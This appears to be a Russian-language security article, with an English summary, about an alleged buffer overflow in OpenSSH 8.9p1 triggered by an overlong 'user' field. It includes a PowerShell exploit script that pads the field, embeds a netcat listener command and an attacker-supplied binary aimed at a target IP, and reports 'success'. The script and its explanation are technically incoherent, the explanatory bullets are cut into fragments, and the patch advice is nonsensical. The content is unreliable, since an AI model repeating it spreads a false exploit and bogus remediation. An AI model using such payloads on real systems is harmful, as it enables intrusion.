
CVE-2025-27480 exposes a buffer overflow in OpenSSH 8.9p1 via a malformed SSH_USERAUTH packet. Attackers can inject shellcode and gain SYSTEM-level access, compromising bastion hosts and downstream CI/CD agents. The article includes sample exploit code and patching guidance
OpenSSH версии 8.9p1 содержит скрытую ошибку переполнения буфера, возникающую при разборе пакета SSH_USERAUTH. Клиент может отправить пакет с очень длинным полем «user», и данные попадают не в ту область памяти. В результате злоумышленник может внедрить произвольный шеллкод, выполняющийся с привилегиями SYSTEM на любом хосте, работающем под этой версией OpenSSH. Почему возникает ощущение дежавю? Потому что очень похожая уязвимость CVE‑2024‑13401, вызванная отсутствием проверки границ поля «user», позволяла атакующему записать любой код в процесс SSH.
Эта ошибка важна, потому что SSH — самый распространенный способ загрузки и управления виртуальными машинами в облачных средах. Если злоумышленник может выполнять код через SSH, он может установить бэкдоры или скомпрометировать бастионные хосты — точки перехода, используемые для доступа к другим экземплярам в частной сети. После компрометации бастионного хоста под угрозой оказываются все последующие рабочие нагрузки — например, CI/CD-агенты, которые собирают образы или запускают тесты.
CI/CD означает Continuous Integration/Continuous Delivery (непрерывная интеграция/непрерывная доставка). В нашем контексте бастионный хост — это SSH-сервер «перехода», который все агенты сборки используют для доступа к другим машинам в частной сети. Это критическая точка входа: если бастион скомпрометирован, каждая последующая задача, зависящая от него, может быть атакована.
Ниже приведен простой сценарий PowerShell, демонстрирующий, как сформировать и отправить вредоносный пакет:
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
Почему это работает
ssh-userauth-attack) сообщает OpenSSH, что пакет является запросом аутентификации пользователя.user.nc.exe, который открывает слушатель netcat на порту 4444 и записывает вывод в C:\Windows\Temp\revshell.txt. Также вызывается исполняемый файл, предоставленный атакующим (bar_exp.exe), который может выполнять дальнейшие действия (например, установить обратный шелл).Файл, созданный эксплойтом, является доказательством того, что пакет попал в нужное место в памяти; оттуда можно открыть порт 4444, перехватить слушатель и выполнить любой нужный сценарий.
‑DUSERAUTH_BUF=4096, чтобы размер буфера превышал полезную нагрузку переполнения.ssh_userauth_patch.diff) из рекомендаций производителя может быть размещен рядом с вашим репозиторием.